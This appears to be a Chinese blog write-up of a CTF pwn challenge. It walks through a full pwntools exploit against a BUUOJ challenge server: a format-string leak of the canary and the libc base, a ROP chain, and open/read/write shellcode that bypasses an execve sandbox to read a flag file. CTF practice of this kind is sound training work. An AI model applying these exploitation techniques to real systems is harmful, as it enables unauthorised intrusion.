首页 > 其他分享 >【pwn】orw&rop --泄露libc基址,orw

【pwn】orw&rop --泄露libc基址,orw

时间:2023-12-03 22:57:28浏览次数:36  
标签:p64 puts -- orw libc base io addr

我们先看看程序的保护的情况

因为题目提示了orw,我们可以沙箱检测一下

可以发现是禁用的execve函数的,接着看函数逻辑

这里格式化字符串漏洞可以泄露canary和puts函数地址,先确定一下参数位置

可以发现参数是在第六个位置,接下来就是构造ROP,调用read函数读取shellcode到mmap开辟的地址就行,这里的gadget可以用题目给的libc.so.6进行寻找,exp如下:

from pwn import * context(os='linux',arch='amd64',log_level='debug') elf=ELF('./pwn') libc=ELF('./libc.so.6')
io=remote("node4.buuoj.cn",28233)
puts_got=elf.got['puts'] io.recvuntil(b"sandbox\n") payload=b'%8$s%11$p'+b'\x00'*7+p64(puts_got) io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) canary=int(io.recv(18),16) print(hex(puts_addr)) print(hex(canary))
base=puts_addr-libc.sym['puts'] rdi=0x2a3e5+base rsi=0x2be51+base rdx_r12=0x11f497+base read_addr=base+libc.sym['read'] ret=0x29cd6+base
io.recvuntil(b"flag now\n") payload2=b'a'*0x28+p64(canary)+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(0x66660000)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(0x66660000) io.send(payload2)
addr=0x66660000+0x200 payload3=shellcraft.open("./flag") payload3+=shellcraft.read(3,addr,0x50) payload3+=shellcraft.write(1,addr,0x50) payload3=asm(payload3) io.send(payload3) io.interactive()

 

标签:p64,puts,--,orw,libc,base,io,addr
From: https://www.cnblogs.com/GGbomb/p/17873984.html

相关文章

  • 2023-2024-1 20231309 《计算机基础与程序设计》第十周学习总结
    2023-2024-120231309《计算机基础与程序设计》第十周学习总结作业信息这个作业属于哪个课程2023-2024-1-计算机基础与程序设计这个作业要求在哪里2023-2024-1计算机基础与程序设计第十周作业这个作业的目标作业正文2023-2024-120231309《计算机基础与程......
  • 2023-2024-1 20231415 《计算机基础与程序设计》第十周学习总结
    这个作业属于那个课程https://edu.cnblogs.com/campus/besti/2023-2024-1-CFAP/这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK10这个作业的目标信息系统、数据库与SQL、人工智能与专家系统、人工神经网络、模拟与离散事件、排队系统、天气与......
  • SpringCloud动态路由利器--router4j
    ​前言本文介绍Java的动态路由中间件:router4j。router4j用于SpringCloud项目,它可以将某个url请求路由到指定的机器上,也可以将所有请求强制转到指定机器。问题描述Java后端在开发SpringCloud项目时如果同一个应用起了多个实例,会遇到以下问题:无法将指定url请求强制转到个人电脑......
  • 20211105李宜时信息安全系统设计与实现学习笔记12
    20211105李宜时信息安全系统设计与实现学习笔记121.引言背景介绍:介绍MySQL数据库及其在业界的普及和应用,解释为何在Linux环境下学习MySQL是重要的。学习目标:明确学习MySQL的目标,比如理解数据库原理,掌握基本操作,或者成为数据库管理员。2.安装和配置安装步骤:详细描述在不......
  • java基础-变量、常量、作用域
    变量变量:指可以变化的量Java是一种强类型预言,每个变量都必须声明其类型Java变量是程序中最基本的储蓄单元,其要素包括变量名,变量类型和作用域。typevarName[=value][{,varName[=value]}];//数据类型变量名=值;可以使用都好隔开来声明多个同类型变量注意事项1.每个......
  • Oracle 系统表常用SQL
    Oracle中的数据字典区分静态和动态。静态是在用户访问数据字典时不发生改变的,动态是依赖数据库运行的性能的,反映数据库运行的信息。数据字典视图是由SYS(系统用户)所拥有的,默认只有SYS和拥有DBA系统权限的用户可以看到所有的视图。没有DBA权限的用户只能看到user_和all_视图。如果......
  • test
    centos7.8环境安装opencv-python #安装好python3.6.9以后要处理python3命令#ln-s/usr/local/python-3.6.9/bin/pip3/usr/bin/pip3#ln-s/usr/local/python-3.6.9/bin/pip3/usr/local/bin/pip3#ln-s/usr/local/python-3.6.9/bin/python3/usr/local/bin/python3......
  • 学习笔记12
    MySQL在openeuler上的安装与基本操作知识点归纳本章涵盖了MySQL关系数据库系统的基础知识。MySQL是一个由瑞典MySQLAB公司开发的关系型数据库管理系统,目前归属于Oracle旗下产品。它在WEB应用方面具有广泛的应用,被认为是最流行的关系型数据库管理系统之一。MySQL将数据保存在......
  • 实验五 继承和多态
    task3machinepets.hpp#include<iostream>#include<string>usingnamespacestd;classMachinePets{public:MachinePets(conststrings);MachinePets();stringget_nickname()const;public:virtualstringtalk(......
  • 2023-2024-120232325《网络空间安全导论》第四周学习
    教材内容总结问题1.整体论与还原论2.sql的应用数据库管理:SQL被用于创建、修改和管理数据库中的表格、索引、视图和存储过程等数据库对象。数据查询:SQL用于从数据库中检索数据,可以通过SELECT语句来执行简单或复杂的查询操作,以满足特定的数据需求。数据更新:SQL可以用于更新......